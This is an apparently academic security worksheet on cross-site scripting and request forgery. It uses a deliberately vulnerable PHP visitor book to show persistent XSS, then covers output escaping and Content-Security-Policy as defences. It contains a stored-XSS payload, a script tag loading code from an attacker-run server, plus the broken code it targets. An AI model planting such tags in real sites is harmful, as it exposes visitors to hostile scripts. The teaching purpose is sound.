Cross-site scripting (XSS) and cross-site request forgery (CSRF)

Phil Brooke, 11 August 2021 (file paths updated July 2022)

This worksheet is best read following the “Examples relating to code injection” worksheet.

1 What is cross-site scripting?

A successful cross-site scripting attack occurs when the attacker can arrange for a visitor to another website to load their malicious script.

More details can be found on the OWASP site (last checked August 2021).

2 Example — the (broken) visitor book

Refer to the visitor book example from the “Examples relating to code injection” worksheet.

Suppose the attacker controls the website and it contains a payload script at (the precise details do not matter; it could exploit vulnerabilities in a web browser, for example). Which want to convince an unsuspecting user of the visitor book to access this payload.

3 Run the evil server

We will run two PHP built-in servers; we ran one as in the previous worksheet

php -S localhost:8000

and a second one (in another terminal window) in the “evil” directory which has our payload

cd evil/
php -S localhost:9666

We fill in the updatebook.php web form and try to leave a link to our payload. The comment is going to be

<script src="http://localhost:9666/payload.js"></script>

Notice the script triggers when we add the comment as well as when we view the comment!

What is output when the next visitor arrives? It includes the attacker’s script as a HTML tag:

<div class="visitorrow">
<span class="visittime">2021-08-11 13:23:24</span>
<span class="visitor">Evil</span>
<span class="comment"><script src="http://localhost:9666/payload.js"></script></span>

This is a type of persistent XSS; named because it will persist in the site’s database.

4 How to fix this? (1)

As with the previous worksheet, we should assume that external data is untrustworthy. But even with a prepared statement, this particular attack will still work. The problem (in this instance) is we have written out data to the victim on the assumption it is safe as HTML.

5 Exercise

Modify viewbook.php to make it safe to output the visitor’s book.

6 How to fix this? (2)

To demonstrate this, take the original viewbook.php file and add the following tag inside the head element:

<meta http-equiv="Content-Security-Policy" content="default-src localhost:8000" />

Then reload the page with the web browser’s debugging console visible. This should show the offending script being blocked because it is not from localhost:8000.

7 Cross-site request forgery (CSRF)

It is harder to demonstate CSRF attacks with the same machines as they exploit session data typically held in cookies. Cookies are not restricted by port number (as we can do for content-security-policy above).

Some good descriptions can be found at

8 Files for this worksheet

9 Questions?

If you have questions, comments, etc., then email Phil at — I check this account most work days.

Creative Commons Licence
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.